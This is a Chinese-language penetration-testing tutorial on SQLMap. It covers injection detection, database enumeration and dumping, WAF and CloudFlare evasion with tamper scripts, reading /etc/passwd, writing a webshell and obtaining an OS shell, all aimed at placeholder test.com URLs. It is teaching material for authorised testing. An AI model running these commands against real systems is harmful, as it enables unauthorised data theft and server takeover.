欢迎光临
我们一直在努力

SQLMap 从入门到实战:渗透测试人员必会的自动化 SQL 注入工具

SQLMap 从入门到实战:渗透测试人员必会的自动化 SQL 注入工具

作者:延情降悦
平台:CSDN
方向:Web 安全 / 渗透测试 / SQL 注入
工具:SQLMap


一、什么是 SQLMap

SQLMap 是一款开源的自动化 SQL 注入工具,能够自动检测和利用 SQL 注入漏洞,并接管数据库服务器。

在 Web 安全、CTF、渗透测试、护网行动中,SQLMap 基本属于必备工具之一。

它支持:

  • MySQL
  • MSSQL
  • Oracle
  • PostgreSQL
  • SQLite
  • MariaDB

等多种数据库。

SQLMap 最大的特点:

  • 自动化程度高
  • 支持绕过 WAF
  • 支持文件读取
  • 支持 getshell
  • 支持数据库接管
  • 支持 HTTP 请求重放

二、SQLMap 安装

1. Linux 安装

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git

cd sqlmap

python3 sqlmap.py -h


2. Windows 安装

直接下载:

https://github.com/sqlmapproject/sqlmap

解压后:

python sqlmap.py


三、SQLMap 基础使用


1. 检测 GET 注入

python sqlmap.py -u "http://test.com/news.php?id=1"

参数说明:

参数作用
-u 指定目标 URL

2. 检测 POST 注入

python sqlmap.py -u "http://test.com/login.php" –data="user=admin&pass=123"


3. 指定 Cookie

很多后台系统必须带 Cookie。

python sqlmap.py -u "http://test.com" –cookie="PHPSESSID=xxxxx"


4. 使用代理抓包

配合 Burp Suite 使用。

python sqlmap.py -u "http://test.com?id=1" –proxy="http://127.0.0.1:8080"


四、SQLMap 常用参数详解


1. 指定数据库类型

–dbms=mysql

示例:

python sqlmap.py -u "http://test.com?id=1" –dbms=mysql

作用:

  • 提高检测速度
  • 减少误报

2. 指定注入参数

-p id

示例:

python sqlmap.py -u "http://test.com?id=1&page=2" -p id


3. 设置线程

–threads=10

线程越高:

  • 跑得越快
  • 但容易触发风控

建议:

护网环境:
3~5

CTF:
10+

真实渗透:
2~5


4. 批量模式

–batch

自动选择默认选项。

适合:

  • 自动化脚本
  • 批量扫描
  • 护网任务

5. 指定等级与风险

–level=5 –risk=3

含义:

参数说明
level 检测等级
risk payload 风险等级

建议:

普通测试:
1~2

深入检测:
5

高危 payload:
3


五、数据库信息获取


1. 获取数据库类型

python sqlmap.py -u "http://test.com?id=1" –banner


2. 获取当前数据库

python sqlmap.py -u "http://test.com?id=1" –current-db


3. 获取所有数据库

python sqlmap.py -u "http://test.com?id=1" –dbs


4. 获取表

python sqlmap.py -u "http://test.com?id=1" -D test –tables


5. 获取字段

python sqlmap.py -u "http://test.com?id=1" -D test -T users –columns


6. 导出数据

python sqlmap.py -u "http://test.com?id=1" -D test -T users –dump


六、SQLMap 实战技巧


1. 使用请求文件

在 Burp Suite 中:

右键请求
→ Save item

然后:

python sqlmap.py -r request.txt

这个方式非常实用。

因为:

  • 请求更完整
  • 更适合 POST
  • 更适合复杂认证
  • 更适合护网

2. 绕过 WAF

常用 tamper:

–tamper=space2comment

多个 tamper:

–tamper=space2comment,randomcase,charencode


3. 常见绕过思路

大小写绕过

randomcase.py


注释绕过

space2comment.py

效果:

SELECT/**/id/**/FROM/**/users


URL 编码绕过

charencode.py


双重编码绕过

chardoubleencode.py


空格替换

space2plus.py
space2comment.py
space2randomblank.py


七、SQLMap 常用 Tamper 脚本

Tamper作用
randomcase 随机大小写
charencode URL 编码
chardoubleencode 双重 URL 编码
space2comment 空格转注释
space2plus 空格转 +
between 绕过 >
equaltolike = 转 LIKE
apostrophemask 单引号过滤绕过
base64encode Base64 编码
modsecurityversioned MySQL 注释绕过

八、SQLMap 高级利用


1. 读取服务器文件

python sqlmap.py -u "http://test.com?id=1" –file-read="/etc/passwd"

Windows:

python sqlmap.py -u "http://test.com?id=1" –file-read="C:/Windows/win.ini"


2. 写入 WebShell

python sqlmap.py -u "http://test.com?id=1" –file-write=shell.php –file-dest="/var/www/html/shell.php"


3. 获取 OS Shell

python sqlmap.py -u "http://test.com?id=1" –os-shell


4. 执行系统命令

python sqlmap.py -u "http://test.com?id=1" –os-cmd="whoami"


九、SQLMap 在护网中的使用经验

在真实护网环境中:

SQLMap 不建议无脑扫描。

因为:

  • 容易触发 WAF
  • 容易打日志
  • 容易被封 IP
  • 流量特征明显

真正的护网思路:

信息收集
→ 手工验证
→ 精准注入
→ SQLMap 接管
→ 低频率利用


十、SQLMap 常见问题


1. 为什么跑不出数据?

可能原因:

  • WAF 拦截
  • 权限不足
  • 参数不注入
  • 页面动态变化

解决:

–tamper
–random-agent
–delay
–threads=1


2. 为什么特别慢?

解决:

–threads=10
-o


3. 如何绕过 CloudFlare?

思路:

  • 使用代理池
  • 使用真实浏览器 Cookie
  • 降低频率
  • 配合 Burp 重放

十一、SQLMap 常用命令总结

基础检测

python sqlmap.py -u "http://test.com?id=1"


获取数据库

python sqlmap.py -u "http://test.com?id=1" –dbs


获取表

python sqlmap.py -u "http://test.com?id=1" -D test –tables


获取字段

python sqlmap.py -u "http://test.com?id=1" -D test -T users –columns


导出数据

python sqlmap.py -u "http://test.com?id=1" -D test -T users –dump


使用请求文件

python sqlmap.py -r request.txt


使用 Tamper

python sqlmap.py -u "http://test.com?id=1" –tamper=randomcase


OS Shell

python sqlmap.py -u "http://test.com?id=1" –os-shell


十二、总结

SQLMap 并不只是一个“跑注入”的工具。

真正厉害的是:

  • 对注入原理的理解
  • 对数据库结构的理解
  • 对 WAF 的理解
  • 对 HTTP 流量的理解
  • 对渗透流程的理解

很多新手:

有 SQLMap
≠ 会 SQL 注入

真正的高手:

手工验证漏洞
→ SQLMap 精准利用
→ 低流量隐藏行为
→ 快速接管目标

这才是真正的实战思维。


十三、免责声明

本文内容仅用于:

  • 网络安全学习
  • CTF 比赛
  • 授权渗透测试
  • 安全研究

禁止用于任何非法用途。

否则后果自负。


关注作者

如果这篇文章对你有帮助,欢迎:

  • 点赞
  • 收藏
  • 关注

后续会持续更新:

  • Web 安全
  • 渗透测试
  • 护网技巧
  • CTF 实战
  • Linux 安全
  • 内网渗透
  • 红队技术

系列文章。

一起学习网络安全。

赞(0)
未经允许不得转载:171主机测评 » SQLMap 从入门到实战:渗透测试人员必会的自动化 SQL 注入工具
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址